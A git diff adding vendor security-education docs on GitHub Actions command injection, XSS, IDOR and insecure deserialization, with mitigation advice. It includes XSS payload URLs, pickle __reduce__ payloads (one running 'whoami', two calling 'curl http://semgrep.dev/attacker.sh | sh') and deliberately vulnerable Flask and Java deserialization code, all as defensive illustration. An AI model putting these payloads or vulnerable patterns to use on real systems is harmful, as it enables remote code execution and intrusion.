+ permissions:
+ pull-requests: write
+ steps:
+ - name: Approve PR
+ run: ./approve_PR
+```
+
+### Don’t Trust User Input from Public Events
+
+Treat all input from issue titles, comments, and forked pull requests as tainted. Validate or sanitize them before use, or avoid inserting them into command-line contexts altogether.
+
+## Conclusion
+
+GitHub Actions provides helpful automation, but executing CI/CD operations comes with risks. If user-controlled input is inserted into commands without protection, attackers can run their own code in your CI/CD environment. At best, this leads to wasted resources. At worst, it exposes tokens, secrets, and codebases to compromise.
+
+In this article, we explored how command injection happens in GitHub Actions, what it looks like in real workflows, and how to detect and prevent it.
diff --git a/mintlify-docs/learn/vulnerabilities/cross-site-scripting.mdx b/mintlify-docs/learn/vulnerabilities/cross-site-scripting.mdx
new file mode 100644
index 0000000000..010e9fed94
--- /dev/null
+++ b/mintlify-docs/learn/vulnerabilities/cross-site-scripting.mdx
@@ -0,0 +1,70 @@
+---
+title: "Cross-Site Scripting (XSS)"
+---
+
+**Cross-Site Scripting (XSS)** happens when a malicious user injects scripts into the content of a trusted website that are executed in other users’ browsers. This has the potential to expose otherwise private information because the code is assumed to be safe to execute.
+
+This article will walk you through the fundamentals of XSS, explain how common attacks work, show what vulnerable code looks like, and provide practical steps you can take to prevent these issues in your own projects.
+
+## What is Cross-Site Scripting (XSS)
+
+Cross-site scripting remains one of the most frequently reported web vulnerabilities in the Common Vulnerabilities and Exposures (CVE) database and consistently appears in the OWASP Top Ten list. This issue continues to affect applications of all sizes, from small personal projects to major platforms.
+
+At its core, cross-site scripting is a problem that arises because web applications are designed to be interactive experiences. Applications want users to add comments, search for information, and share content. This interactivity requires user-provided input to be displayed back to the page. This goal also creates an opportunity for malicious code to be introduced.
+
+When user input is not handled safely, the browser may interpret it as executable code instead of plain text. This means the attacker can essentially place their own instructions into the application, which then runs in the unsuspecting user’s browser. The risk comes from failing to properly control when and how user data is used within pages and the corresponding access granted by running the code within the domain.
+
+## Common XSS Attacks
+
+The security community generally groups cross-site scripting into three categories: stored, reflected, and Document Object Model (DOM)-based.
+
+### Stored Cross-Site Scripting
+
+**Stored cross-site scripting** happens when an attacker injects malicious code that is permanently stored on the server, for example in a comment field or a user profile. When other users view that page, the code is delivered to them as if it were part of the site. A comment like `` may look harmless, but if not sanitized, it runs every time the page loads.
+
+### Reflected Cross-Site Scripting
+
+**Reflected cross-site scripting** occurs when an attacker tricks a user into clicking a crafted link, often through phishing or social engineering. The malicious code is embedded in the URL, and when the application reflects that value directly into the page, it executes. For example, a search query to `https://semgrep.dev/search?q=%3Cscript%3Ealert('XSS')%3C/script%3E` could trigger execution if the application displays the query without cleaning it first.
+
+### DOM-based Cross-Site Scripting
+
+**DOM-based cross-site scripting** is slightly different. Instead of relying on the server to send malicious code, it abuses the client-side JavaScript logic itself. If the script on a page takes data directly from the URL or another source and inserts it into the page without validation, it can lead to execution of unexpected code. A simple example would be client-side code that does `document.body.innerHTML = location.hash;` without any checks since this is a user-controlled part of the URL (ie. https://semgrep.dev/#payload-here).
+
+
+## Detecting XSS Vulnerabilities in Your Code
+
+Finding cross-site scripting issues can be difficult because they often look like normal functionality. Consider the following snippet:
+
+```html
+
+
You searched for:
+
+
+```
+
+Here, the code takes the value of `q` from the URL and inserts it directly into the page. If someone navigates to `https://semgrep.dev/search?q=` (in practice this would be URLencoded, but left as is for readability here), the payload runs in the browser. The issue lies in how untrusted input flows into a part of the page where it is interpreted as code.
+
+Developers can detect these patterns by reviewing how data travels from input sources (like forms, query parameters, or stored fields) to sensitive sinks (like `innerHTML`, `document.write`, or raw template outputs). Tools like Semgrep can automate this by scanning for dangerous data flows and highlighting cases where user-controlled values reach unsafe functions without proper handling.
+
+## Recommendations and Mitigations
+
+Developers do not need to become security experts to prevent cross-site scripting. A few consistent practices go a long way. Always treat user input as untrusted, and ensure that any data rendered into a page is correctly encoded for the context it is used in. For example, text shown in HTML should be encoded so that characters like `<` and `>` are not interpreted as tags. Avoid directly setting content with functions like `innerHTML` unless it is absolutely necessary.
+
+When working with dynamic behavior, use safer alternatives such as APIs that insert text rather than raw HTML. For stored data, validate and sanitize input before saving it to the database. For client-side code, be cautious about how data from the URL or other data sources makes its way into the page so that it is encoded properly before being used in a script. Many popular web frameworks now automate proper HTML encoding. As long as you use and don't circumvent the paved path in your templating engine you can be safer.
+
+Detecting issues early with automated tools such as Semgrep can give developers confidence that risky patterns are identified before they reach production.
+
+## Conclusion
+
+Cross-site scripting is one of the most common and enduring security issues in web applications. By understanding stored, reflected, and DOM-based variants, developers can better recognize where their code may be at risk. The underlying problem is always the same: untrusted input making its way into the page without safe handling. By encoding output properly, avoiding risky functions, and using tools like Semgrep to detect flaws, developers can reduce exposure significantly.
+
+Just as interactive features make applications more engaging, they also increase opportunities for mistakes. Addressing cross-site scripting is not just about preventing attacks but about building trust with users and protecting their experience. For developers, the next step is clear: review your code, try scanning it with Semgrep, and take proactive steps to stop cross-site scripting before it becomes a problem.
+
+
+
+
diff --git a/mintlify-docs/learn/vulnerabilities/idor.mdx b/mintlify-docs/learn/vulnerabilities/idor.mdx
new file mode 100644
index 0000000000..ba8752196d
--- /dev/null
+++ b/mintlify-docs/learn/vulnerabilities/idor.mdx
@@ -0,0 +1,92 @@
+---
+title: "Insecure Direct Object Reference (IDOR)"
+sidebarTitle: "Insecure Direct Object Reference"
+description: "Imagine you’re browsing your order history in an online store. You notice the URL includes an order ID, and out of curiosity, you try changing the number to see what happens."
+---
+
+As a developer, you probably don’t expect that exposing an endpoint like `/order/1337` could be risky on its own. But if the system doesn’t confirm that the authenticated user is allowed to view that order, it’s effectively handing out private data to anyone who knows or guesses the right ID. In the same webshop, however, viewing a public page like `/article/1234` is completely expected, that kind of access is part of the intended user experience.
+
+This contrast highlights why **Insecure Direct Object Reference (IDOR)** bugs are so tricky: the exact same URL pattern can be safe in one place and risky in another. They’re easy to miss in code reviews, and hard for automated tools to catch unless they understand the specific context of your application. By using end user supplied parameters to reference a specific object on a remote server, it allows privilege escalation to access objects that should be restricted.
+
+In this article, we’ll walk through what IDOR is, how attackers exploit it, how to recognize risky patterns in your code, and what to do to prevent it.
+
+
+## What Is Insecure Direct Object Reference (IDOR)?
+
+IDOR stands for Insecure Direct Object Reference. It’s a type of access control failure where a program exposes internal resources using identifiers that users can guess or manipulate. If the system doesn’t check that the user is authorized to access that resource, it opens the door to abuse.
+
+This pattern was originally highlighted in the OWASP Top 10 under its own name, and today it falls under the broader category of Broken Access Control. It exists because many applications rely on predictable identifiers (integers, UUIDs, or filenames) and assume that if a user has the ID, they’re allowed to access the resource. But in reality, users frequently discover or guess other valid IDs, either by enumeration, brute force, or indirect leakage.
+
+The root cause of IDOR is not just that an identifier is exposed, but that access control decisions are made (or skipped) based solely on user input.
+
+
+## Common Attacks to Exploit IDOR
+
+Imagine if our web platform allowed users to download Semgrep findings by name:
+
+```text
+GET /findings-report/0xDC0DE-2025-03-18.pdf
+```
+
+If the backend simply looks up the file using the filename in the URL and returns it, an attacker can change the value to another filename:
+
+```text
+GET /findings-report/faang-2025-09-17.pdf
+```
+
+If no access control check is in place, they now have a list of unresolved vulnerabilities for a large company.
+
+This type of attack pattern can take many forms:
+
+- **Numeric ID manipulation**: Attackers increment or decrement resource IDs in URLs or forms.
+- **UUID guessing**: Even though UUIDs look random, in some systems they are exposed or reused in predictable ways.
+- **Parameter tampering**: Web forms or API calls that accept `user_id`, `file_id`, or similar fields can be manipulated if the backend trusts the input blindly.
+- **Indirect object references**: In some systems, identifiers appear in cookies, local storage, or metadata, which users can modify.
+
+Attackers often discover these vulnerabilities during exploratory testing, such as browsing the application while authenticated and capturing requests with tools like browser dev tools or proxies.
+
+
+## Detecting IDOR Vulnerabilities
+
+Most static analysis tools look for dangerous sinks, such as executing code or running a command. But unlike traditional injection attacks, IDOR isn’t about where the input goes. IDOR is closer to a logic flaw: it’s the absence of an authorization check at the right point in the request flow.
+
+Take the following Python example:
+
+```python
+def get_user_profile(request):
+ user_id = request.GET.get("id")
+ user = db.lookup_user(user_id)
+ return JsonResponse(user.to_dict())
+```
+
+There’s no direct evidence here that anything is wrong. The code will likely work perfectly in production. But without a check like `if user_id != request.user.id`, the system allows any logged-in user to view any profile just by changing the `id` parameter.
+
+This kind of problem requires context. The analyzer needs to understand not just that `user_id` came from the request, but that it controls access to a sensitive resource, and that no permission check was made before returning it.
+
+This makes generic detection difficult, even for powerful static analyzers like Semgrep. Instead, what is required, is writing custom rules for your application that describe the access control logic you're expecting. For example, you might define a rule that flags any time a route parameter `user_id` is used in a query without checking it against the current user.
+
+## Recommendations and Mitigations for Preventing IDOR
+
+The most reliable way to prevent IDOR is to treat every request as untrusted, and never assume that having a resource ID means having access to it.
+
+Design your access control in layers:
+
+### Avoid exposing raw IDs
+
+Consider using indirect references, such as short tokens or scoped identifiers that map to real records internally. Object records and files should never be referenced directly by an identifier that is easily guessable.
+
+Use randomly generated filenames but put rate limiting in place to mitigate against brute force attacks.
+
+### Centralize access checks
+
+Don’t scatter `if` statements everywhere. Build helper functions or decorators that can be applied consistently across routes. Use frameworks with built-in functionality to apply authentication and authorization.
+
+If your framework supports declarative access control (like policy-based decorators or middleware), use it. Otherwise, document your expected permissions and test them using integration or security tests.
+
+## Conclusion
+
+IDOR is a simple vulnerability with serious consequences. It happens when applications use predictable identifiers for sensitive resources and forget to check whether the user is authorized to access them. These bugs are common, hard to detect automatically, and often missed in code reviews.
+
+We’ve seen how IDOR works, why it’s difficult to find with static tools, how to recognize risky patterns, and what defensive steps to take. The most important step you can take is to build authorization checks that explicitly confirm whether a user has access to a resource, not just whether they’re logged in.
+
+Security tools like Semgrep can help you enforce your project’s access control expectations by highlighting when critical checks are missing.
diff --git a/mintlify-docs/learn/vulnerabilities/insecure-deserialization.mdx b/mintlify-docs/learn/vulnerabilities/insecure-deserialization.mdx
new file mode 100644
index 0000000000..bd82d33b5b
--- /dev/null
+++ b/mintlify-docs/learn/vulnerabilities/insecure-deserialization.mdx
@@ -0,0 +1,233 @@
+---
+title: "Insecure Deserialization"
+---
+
+Need an object later? Convert it to text and save it in a file. This magic is built into most programming languages and it’s called serialization. However, a single line of code for restoring the state of an object could grant attackers full access to your server.
+
+If your application takes serialized data from a file, a cookie, or a network request, and restores it into an object, then you're potentially at risk. Deserialization was designed to reconstruct complex objects, but when used on untrusted input, it can reconstruct more than just data. **Insecure deserialization** lets attackers provide specially crafted data that executes code, reads files, or cause the application to crash.
+
+In this article, we explain what serialization and deserialization are, why these features exist, and why you should think twice about how you use this capability. We walk through common attack techniques and show what insecure deserialization looks like in code. Finally, we give you clear guidance to reduce your exposure and detect these issues early.
+
+## What Is Serialization?
+
+Serialization is the process of turning objects into a stream of bytes or text so they can be stored or sent over the network. Deserialization is the reverse: converting that stream back into usable objects.
+
+This is a practical solution to a common problem. Applications need a way to store session data, share structured objects between services, or persist application state across runs.
+
+Most programming languages include built-in or standard libraries for serialization. These libraries often support complex types, not just simple data. Some even let developers define how the serialization process works. This power is useful… but risky.
+
+Here’s an example of what that looks like in Python. First, we’ll need an object type to serialize and deserialize:
+
+```python
+class SASTool:
+ def __init__(self, name, language, is_best=False):
+ self.name = name
+ self.language = language
+ self.is_best = is_best
+
+ def __repr__(self):
+ return f"SASTool(name='{self.name}', language='{self.language}', is_best={self.is_best})"
+```
+
+To create a bytestream in Python, one commonly used library is `pickle` .
+
+```python
+# Create our favorite SAST tool
+semgrep = SASTool("Semgrep", "Multi-language", is_best=True)
+print("Original object:", semgrep)
+
+# Serialize with pickle
+pickle_data = pickle.dumps(semgrep)
+print("Pickle serialized (base64):", base64.b64encode(pickle_data).decode())
+
+# Deserialize
+restored_tool = pickle.loads(pickle_data)
+print("Restored object:", restored_tool)
+```
+
+Running this, will yield the following output.
+
+```text
+Original object: SASTool(name='Semgrep', language='Multi-language', is_best=True)
+Pickle serialized (base64): gASVWAAAAAAAAACMCF9fbWFpbl9flIwHU0FTVG9vbJSTlCmBlH2UKIwEbmFtZZSMB1NlbWdyZXCUjAhsYW5ndWFnZZSMDk11bHRpLWxhbmd1YWdllIwHaXNfYmVzdJSIdWIu
+Restored object: SASTool(name='Semgrep', language='Multi-language', is_best=True)
+```
+
+The danger arises when these libraries are used to deserialize data that comes from outside the application, such as HTTP request bodies or uploaded files. Many deserialization functions do more than just reconstruct data. They may call constructors, restore method references, or trigger custom behavior. This means that malicious input can trigger unexpected code execution.
+
+## Common Insecure Deserialization Attacks
+
+When a deserialization function instantiates objects, it may invoke code as part of that process. If an attacker controls the input, they can choose what classes get instantiated and which methods are run. This commonly is escalated into remote code execution, or denial of service.
+
+### Remote Code Execution (RCE)
+
+To continue with our Python example, the `__reduce__` method can be used to specify how an object should be deserialized. A payload that includes such an object can execute code when loaded.
+
+```python
+class MaliciousSASTool:
+ def __reduce__(self):
+ return (os.system, ('whoami',))
+```
+
+If this class is included in a serialized stream, any system that deserializes it will run the payload.
+
+```python
+malicious_tool = MaliciousSASTool()
+malicious_pickle = pickle.dumps(malicious_tool)
+
+print("Malicious payload (base64):")
+print(base64.b64encode(malicious_pickle).decode())
+
+print("Demonstrating what happens when deserialized:")
+pickle.loads(malicious_pickle) # This will execute 'whoami' and show your username
+```
+
+The output of this snippet is:
+
+```text
+Malicious payload (base64):
+gASVIQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAZ3aG9hbWmUhZRSlC4=
+Demonstrating what happens when deserialized:
+pieter
+```
+
+This type of attack has been used in the wild against systems that deserialize input from cookies, form data, or APIs. The impact is often full system compromise.
+
+### Denial of Service (DoS)
+
+Some deserialization libraries allow deeply nested or complex object graphs. An attacker can craft a payload that consumes excessive memory or CPU when deserialized.
+
+In Python, we can craft deeply nested objects like this:
+
+```python
+class NestedBomb:
+ def __init__(self, depth=0):
+ if depth < 1000: # Create deep nesting
+ self.child = NestedBomb(depth + 1)
+ self.data = "A" * 10000 # Large data per level
+```
+
+I would not recommend trying to pickle and unpickle this one. This results in exponential memory usage and can exhaust system resources.
+
+
+## Detecting Insecure Deserialization in Your Code
+
+Let’s look at an example in a web application server.
+
+```python
+import pickle
+from flask import Flask, request
+
+app = Flask(__name__)
+
+@app.route('/load_tool', methods=['POST'])
+def load_sast_tool():
+ tool_data = request.get_data()
+ sast_tool = pickle.loads(tool_data) # Vulnerable!
+
+ return f"Loaded tool: {sast_tool.name}"
+```
+
+This code takes raw POST data and directly deserializes it with `pickle`. An attacker can send a malicious payload instead of legitimate tool data.
+
+A similar vulnerable pattern in Java might look like this:
+
+```java
+ObjectInputStream in = new ObjectInputStream(request.getInputStream());
+Object data = in.readObject();
+```
+
+Here, `readObject()` reconstructs a full object graph from input the user controls. If any class in scope has custom deserialization behavior, it might be triggered automatically.
+
+This is the core pattern of insecure deserialization:
+
+- Untrusted input (e.g., from a network request or file upload)
+- Flows into a deserialization function (e.g., `readObject`, `unserialize`, `pickle.load`)
+- Without validation, filtering, or integrity checking
+
+To find these patterns, you need to trace the flow of data from input to sink.
+
+Semgrep makes this easier. It tracks taint flow from user-controlled input (like `request.getInputStream()` or `$_POST`) into sensitive functions. If it detects that a deserialization method receives untrusted data, it raises an alert. Semgrep supports multiple languages and includes rules for common deserialization functions. It focuses on cases where the deserialization function is reachable by untrusted input.
+
+
+## Recommendations and Mitigations
+
+The most effective way to prevent insecure deserialization is to avoid deserializing untrusted input entirely. If you must deserialize user-controlled data, take the following steps:
+
+### Use safer formats
+
+Prefer simple data formats like JSON or YAML (with safe loading). These formats reconstruct primitive types like strings, arrays, and dictionaries.
+
+Let's see how our SASTool example looks with safe alternatives:
+
+```python
+@dataclass
+class SafeSASTool:
+ name: str
+ language: str
+ is_best: bool = False
+
+# Create our tool
+semgrep = SafeSASTool("Semgrep", "Multi-language", True)
+print("Original object:", semgrep)
+
+# JSON serialization - only handles basic data types
+json_data = json.dumps(asdict(semgrep))
+print("\\nJSON serialized:", json_data)
+restored_from_json = SafeSASTool(**json.loads(json_data))
+print("JSON deserialized:", restored_from_json)
+
+# YAML serialization - safe_load prevents code execution
+yaml_data = yaml.dump(asdict(semgrep))
+print("\\nYAML serialized:")
+print(yaml_data)
+restored_from_yaml = SafeSASTool(**yaml.safe_load(yaml_data))
+print("YAML deserialized:", restored_from_yaml)
+```
+
+Running this code will output:
+
+```text
+Original object: SafeSASTool(name='Semgrep', language='Multi-language', is_best=True)
+
+JSON serialized: {"name": "Semgrep", "language": "Multi-language", "is_best": true}
+JSON deserialized: SafeSASTool(name='Semgrep', language='Multi-language', is_best=True)
+
+YAML serialized:
+is_best: true
+language: Multi-language
+name: Semgrep
+
+YAML deserialized: SafeSASTool(name='Semgrep', language='Multi-language', is_best=True)
+```
+
+Unlike pickle, JSON and YAML (with `safe_load`) only reconstruct data. They can't execute code or instantiate arbitrary objects. An attacker can't inject malicious payloads because these formats don't support object reconstruction or method calls.
+
+### Validate input structure
+
+If you must deserialize, apply strict validation first. Check the input against a schema or known allowlist of expected fields before processing.
+
+### Require digital signatures
+
+Signed tokens ensure that serialized data cannot be altered without detection. This helps secure session data or configuration blobs sent by the client.
+
+### Disable unsafe features
+
+Some libraries let you configure safe modes. For example, in Python use `yaml.safe_load()` instead of `yaml.load()`. In Java, use deserialization filters to restrict what classes can be loaded.
+
+### Review third-party dependencies
+
+Some libraries store internal state using deserialization under the hood. Ensure that these are not exposed to untrusted input and check for any known CVEs related to insecure deserialization.
+
+### Use automated tools
+
+Semgrep can detect deserialization risks in your code and in libraries you use. Run it as part of your development process to catch problems early.
+
+
+## Conclusion
+
+Insecure deserialization happens when applications trust input that was never meant to be trusted. The feature was designed to restore objects. But when misused, they allow attackers to take full control of the system.
+
+A single deserialization call might look harmless, but as we've seen, it can open the door to far more than just data. By understanding the risks, choosing safer alternatives, and using tools like Semgrep to catch unsafe patterns early, you can keep this powerful feature from becoming a security liability.
+
+For additional Python examples, see [Python Deserialization](/learn/vulnerabilities/insecure-deserialization/python).
diff --git a/mintlify-docs/learn/vulnerabilities/insecure-deserialization/python-deserialization.mdx b/mintlify-docs/learn/vulnerabilities/insecure-deserialization/python-deserialization.mdx
new file mode 100644
index 0000000000..bc75c71f11
--- /dev/null
+++ b/mintlify-docs/learn/vulnerabilities/insecure-deserialization/python-deserialization.mdx
@@ -0,0 +1,77 @@
+---
+title: "Insecure Deserialization in Python: Understanding the Risks and Safer Alternatives"
+---
+
+Insecure deserialization has been a recurring entry in the OWASP Top 10 list of web application risks, and for good reason. The Python ecosystem in particular provides developers with powerful libraries for serializing and deserializing objects, but these same features can expose applications to remote code execution or denial of service. A notable example is Django’s decision to deprecate the `PickleSerializer` in version 4.1, acknowledging that the`pickle` module from Python’s standard library is inherently unsafe for deserialization.
+
+For Python developers, this risk is anything but theoretical. If your application deserializes data, you may be giving attackers a way in. The impact can range from unexpected crashes to a full system compromise. It’s worth stressing: Python’s `pickle` and similar libraries should never be used to process untrusted input. They were built for speed and flexibility, not security.
+
+In this article, we explain the fundamentals of serialization in Python. Then, we illustrates the most common ways insecure deserialization is exploited, and show you how to detect these patterns in your own code. Finally, we provide some practical recommendations to avoid the risks.
+
+### Pickling and unpickling
+
+Serialization is the process of converting Python objects into a format that can be stored or transmitted, while deserialization restores them back into usable objects. This solves a practical problem: developers need a way to save program state, transfer structured data across the network, or exchange complex objects between systems.
+
+Python’s infamous `pickle` module was created to solve exactly this problem. It allows arbitrary Python objects to be serialized and later reconstructed. The design is intentionally permissive: objects can control how they are pickled and unpickled, and the process can invoke functions or methods during reconstruction. This flexibility makes `pickle` extremely convenient, but it also introduces a significant security risk. By design, deserialization can execute code, which means an attacker who controls the input data can run arbitrary commands.
+
+Other libraries extend or reuse the same approach. `dill` adds more object types to what can be serialized, `jsonpickle` uses JSON as a transport format but still permits arbitrary Python object reconstruction, and `shelve` simply stores pickled objects in a file-like database. Even PyYAML, a popular choice for configuration files, defaults to unsafe loading modes unless developers explicitly call `safe_load`. These features exist to make the developer’s life easier but also increase the attack surface when used on untrusted data.
+
+### Insecure Deserialization Attacks
+
+The most severe outcome of insecure deserialization is remote code execution. In this case, an attacker provides a serialized payload that, when deserialized, executes system commands.
+
+```python
+import pickle, os
+
+class Exploit(object):
+ def __reduce__(self):
+ return (os.system, ("curl http://semgrep.dev/attacker.sh | sh",))
+
+payload = pickle.dumps(Exploit())
+```
+
+In the minimal example shown above, a pickle payload is crafted that calls `os.system` to fetch and run a script from a domain such as `semgrep.dev`. The deserialization process is not just restoring an object; it is executing arbitrary code on the server.
+
+### How To Detect Insecure Deserialization In Your Code
+
+Consider a Python web server built using the standard library’s `http.server` module. A developer might be tempted to unpickle data received in a request for convenience.
+
+```python
+import pickle
+from flask import Flask, request
+import io
+
+app = Flask(__name__)
+
+@app.route("/deserialize", methods=["POST"])
+def deserialize():
+ # Attacker controls request body
+ raw_data = request.data
+ obj = pickle.load(io.BytesIO(raw_data))
+ return str(obj)
+```
+
+In this example, the call to `pickle.load` is applied directly to data derived from user input. If an attacker crafts a malicious pickle string, it will be executed when the handler processes the request. This is precisely the kind of pattern Semgrep’s rules can detect. The rules track data flow from untrusted sources such as HTTP request paths or headers and flag places in the code where it when it reaches sensitive functions like `pickle.loads`. Semgrep currently covers over a dozen Python libraries with known insecure deserialization functions.
+
+### Recommendations & Mitigations
+
+The simplest and most effective recommendation is to avoid `pickle` and its variants (`_pickle`, `cPickle`, `dill`, `jsonpickle`, `shelve`) for any untrusted input. These libraries cannot be made safe against arbitrary input because they allow execution by design. Use YAML or JSON to transfer and store data instead.
+
+We highly recommend to use automated tools to verify compliance, since many more libraries use deserialisation powered by libraries such as `pickle` under the hood. Running Semgrep regularly as part of your continuous integration pipeline can highlight insecure deserialization patterns before they reach production.
+
+A few examples for popular libraries:
+
+- In Django, never switch back to the deprecated `PickleSerializer` for sessions.
+- In NumPy, avoid setting `allow_pickle=True` when calling `numpy.load`.
+- In PyTorch, prefer using the `weights_only=True` flag when calling `torch.load` to prevent deserialization of arbitrary Python objects.
+
+### Conclusion
+
+Insecure deserialization in Python is not just a theoretical concern; it is a practical risk that arises whenever untrusted data is passed to permissive deserialization libraries. The fundamental issue is that modules such as `pickle` are designed to execute code during deserialization, making them unsuitable for handling external input.
+
+We have seen how serialization works in Python, why features like `pickle` introduce risks, how attackers exploit them through remote code execution, and how Semgrep can detect vulnerable patterns in your own projects. The path forward is clear: avoid unsafe libraries for untrusted data, choose safer alternatives like JSON or `safe_load` for YAML, and rely on automated scanning to catch mistakes early.
+
+As the deprecation of Django’s `PickleSerializer` illustrates, the community has recognized the risks of insecure deserialization. By taking a disciplined approach to the libraries you use and by applying tools like Semgrep, you can ensure your Python applications remain resilient against this class of vulnerabilities.
+
+For more guidance and practical rules, see the [Semgrep documentation](/getting-started/quickstart) and consider scanning your codebase with our [Pro rules](/semgrep-code/pro-rules). Identifying and fixing insecure deserialization today will save you from severe problems tomorrow.
+
diff --git a/mintlify-docs/learn/vulnerabilities/insecure-deserialization/python.mdx b/mintlify-docs/learn/vulnerabilities/insecure-deserialization/python.mdx
new file mode 100644
index 0000000000..7b8bb2fdd4
--- /dev/null
+++ b/mintlify-docs/learn/vulnerabilities/insecure-deserialization/python.mdx
@@ -0,0 +1,173 @@
+---
+title: "Insecure Deserialization in Python"
+---
+
+An introduction to this concept was covered in the [Insecure Deserialization](/learn/vulnerabilities/insecure-deserialization) article. This section expands upon that foundation with additional examples and libraries.
+
+**Insecure deserialization** has been a recurring entry in the OWASP Top 10 list of web application risks, and for good reason. The Python ecosystem in particular provides developers with powerful libraries for serializing and deserializing objects, but these same features can expose applications to remote code execution or denial of service.
+
+The impact can range from unexpected crashes to a full system compromise. It’s worth stressing: Python’s `pickle` and similar libraries should never be used to process untrusted input. They were built for speed and flexibility, not security. A notable example is Django’s decision to deprecate the `PickleSerializer` in version 4.1, acknowledging that the `pickle` module from Python’s standard library is inherently unsafe for deserialization.
+
+In this article, we explain the fundamentals of serialization in the context of Python. Then, we illustrates the most common ways insecure deserialization is exploited, and show you how to detect these patterns in your own code. Finally, we provide some practical recommendations to avoid the risks.
+
+
+### Pickling and unpickling
+
+Serialization is the process of converting Python objects into a format that can be stored or transmitted, while deserialization restores them back into usable objects. This solves a practical problem: developers need a way to save program state, transfer structured data across the network, or exchange complex objects between systems.
+
+Python’s infamous `pickle` module was created to solve exactly this problem. It allows arbitrary Python objects to be serialized and later reconstructed. The design is intentionally permissive: objects can control how they are pickled and unpickled, and the process can invoke functions or methods during reconstruction. This flexibility makes `pickle` extremely convenient, but it also introduces a significant security risk. By design, deserialization can execute code, which means an attacker who controls the input data can run arbitrary commands.
+
+Other libraries extend or reuse the same approach. `dill` adds more object types to what can be serialized, `jsonpickle` uses JSON as a transport format but still permits arbitrary Python object reconstruction, and `shelve` simply stores pickled objects in a file-like database. Even PyYAML, a popular choice for configuration files, defaults to unsafe loading modes unless developers explicitly call `safe_load`. These features exist to make a developer’s life easier but also increase the attack surface when used on untrusted data.
+
+### Common Insecure Deserialization Attacks
+
+The most severe outcome of insecure deserialization is remote code execution. In this case, an attacker provides a serialized payload that, when deserialized, executes system commands.
+
+```python
+import pickle, os
+
+class Exploit(object):
+ def __reduce__(self):
+ return (os.system, ("curl http://semgrep.dev/attacker.sh | sh",))
+
+payload = pickle.dumps(Exploit())
+```
+
+In the minimal example shown above, a pickle payload is crafted that calls `os.system` to fetch and run a script from a domain such as `semgrep.dev`. The deserialization process is not just restoring an object; it is executing arbitrary code on the server.
+
+
+### How-to Detect Insecure Deserialization In Python Code
+
+Consider a Python web server built using the standard library’s `http.server` module. A developer might be tempted to unpickle data received in a request for convenience.
+
+```python
+import pickle
+from flask import Flask, request
+import io
+
+app = Flask(__name__)
+
+@app.route("/deserialize", methods=["POST"])
+def deserialize():
+ # Attacker controls request body
+ raw_data = request.data
+ obj = pickle.load(io.BytesIO(raw_data))
+ return str(obj)
+```
+
+In this example, the call to `pickle.load` is applied directly to data derived from user input. If an attacker crafts a malicious pickle string, it will be executed when the handler processes the request. This is precisely the kind of pattern Semgrep’s rules can detect. The rules track data flow from untrusted sources such as HTTP request paths or headers and flag places in the code where it when it reaches sensitive functions like `pickle.loads`. Semgrep currently covers over a dozen Python libraries with known insecure deserialization functions.
+
+
+### Recommendations & Mitigations
+
+The simplest and most effective recommendation is to avoid `pickle` and its variants (`_pickle`, `cPickle`, `dill`, `jsonpickle`, `shelve`) for any untrusted input. These libraries cannot be made safe against arbitrary input because they allow execution by design. Use YAML or JSON to transfer and store data instead.
+
+From the official `pickle` [documentation](https://docs.python.org/3/library/pickle.html):
+
+
+**WARNING**
+
+The pickle module is not secure. Only unpickle data you trust.
+
+
+We highly recommend to use automated tools to verify compliance, since many more libraries use deserialisation powered by libraries such as `pickle` under the hood. Running Semgrep regularly as part of your continuous integration pipeline can highlight insecure deserialization patterns before they reach production.
+
+A few examples for popular libraries:
+
+- In Django, never switch back to the deprecated `PickleSerializer` for sessions.
+- In NumPy, avoid setting `allow_pickle=True` when calling `numpy.load`.
+- In PyTorch, prefer using the `weights_only=True` flag when calling `torch.load` to prevent deserialization of arbitrary Python objects.
+
+
+### Conclusion
+
+Insecure deserialization in Python is not just a theoretical concern; it is a practical risk that arises whenever untrusted data is passed to permissive deserialization libraries. The fundamental issue is that modules such as `pickle` are designed to execute code during deserialization, making them unsuitable for handling external input.
+
+We have seen how serialization works in Python, why features like `pickle` introduce risks, how attackers exploit them through remote code execution, and how Semgrep can detect vulnerable patterns in your own projects. The path forward is clear: avoid unsafe libraries for untrusted data, choose safer alternatives like JSON or `safe_load` for YAML, and rely on automated scanning to catch mistakes early.
+
+As the deprecation of Django’s `PickleSerializer` illustrates, the community has recognized the risks of insecure deserialization. By taking a disciplined approach to the libraries you use and by applying tools like Semgrep, you can ensure your Python applications remain resilient against this class of vulnerabilities.
+
+For more guidance and practical rules, see the Semgrep documentation and consider scanning your codebase with our Pro rules. Identifying and fixing insecure deserialization today will save you from severe problems tomorrow.
+
+
+## Appendix: Python demonstration
+
+Here’s a full Python file demonstrating what is mentioned in the article for further exploration. You can execute this safely, it has no dangerous side-effects.
+
+```python expandable
+#!/usr/bin/env python3
+
+print("=== Testing SASTool Pickle Serialization ===")
+import pickle
+import base64
+
+class SASTool:
+ def __init__(self, name, language, is_best=False):
+ self.name = name
+ self.language = language
+ self.is_best = is_best
+
+ def __repr__(self):
+ return f"SASTool(name='{self.name}', language='{self.language}', is_best={self.is_best})"
+
+# Create our favorite SAST tool
+semgrep = SASTool("Semgrep", "Multi-language", is_best=True)
+print("Original object:", semgrep)
+
+# Serialize with pickle
+pickle_data = pickle.dumps(semgrep)
+print("Pickle serialized (base64):", base64.b64encode(pickle_data).decode())
+
+# Deserialize
+restored_tool = pickle.loads(pickle_data)
+print("Restored object:", restored_tool)
+
+print("\n=== Testing Malicious Payload (Safe Version) ===")
+import os
+
+class MaliciousSASTool:
+ def __reduce__(self):
+ # This method is called during pickle serialization
+ # Instead of restoring data, it executes a command
+ return (os.system, ('whoami',))
+
+# Create the malicious payload
+malicious_tool = MaliciousSASTool()
+malicious_pickle = pickle.dumps(malicious_tool)
+
+print("Malicious payload (base64):")
+print(base64.b64encode(malicious_pickle).decode())
+
+print("Demonstrating what happens when deserialized:")
+pickle.loads(malicious_pickle) # This will execute 'whoami' and show your username
+
+print("\n=== Testing Safe Alternatives ===")
+import json
+import yaml
+from dataclasses import dataclass, asdict
+
+@dataclass
+class SafeSASTool:
+ name: str
+ language: str
+ is_best: bool = False
+
+# Create our tool
+semgrep_safe = SafeSASTool("Semgrep", "Multi-language", True)
+print("Original object:", semgrep_safe)
+
+# JSON serialization - only handles basic data types
+json_data = json.dumps(asdict(semgrep_safe))
+print("\nJSON serialized:", json_data)
+restored_from_json = SafeSASTool(**json.loads(json_data))
+print("JSON deserialized:", restored_from_json)
+
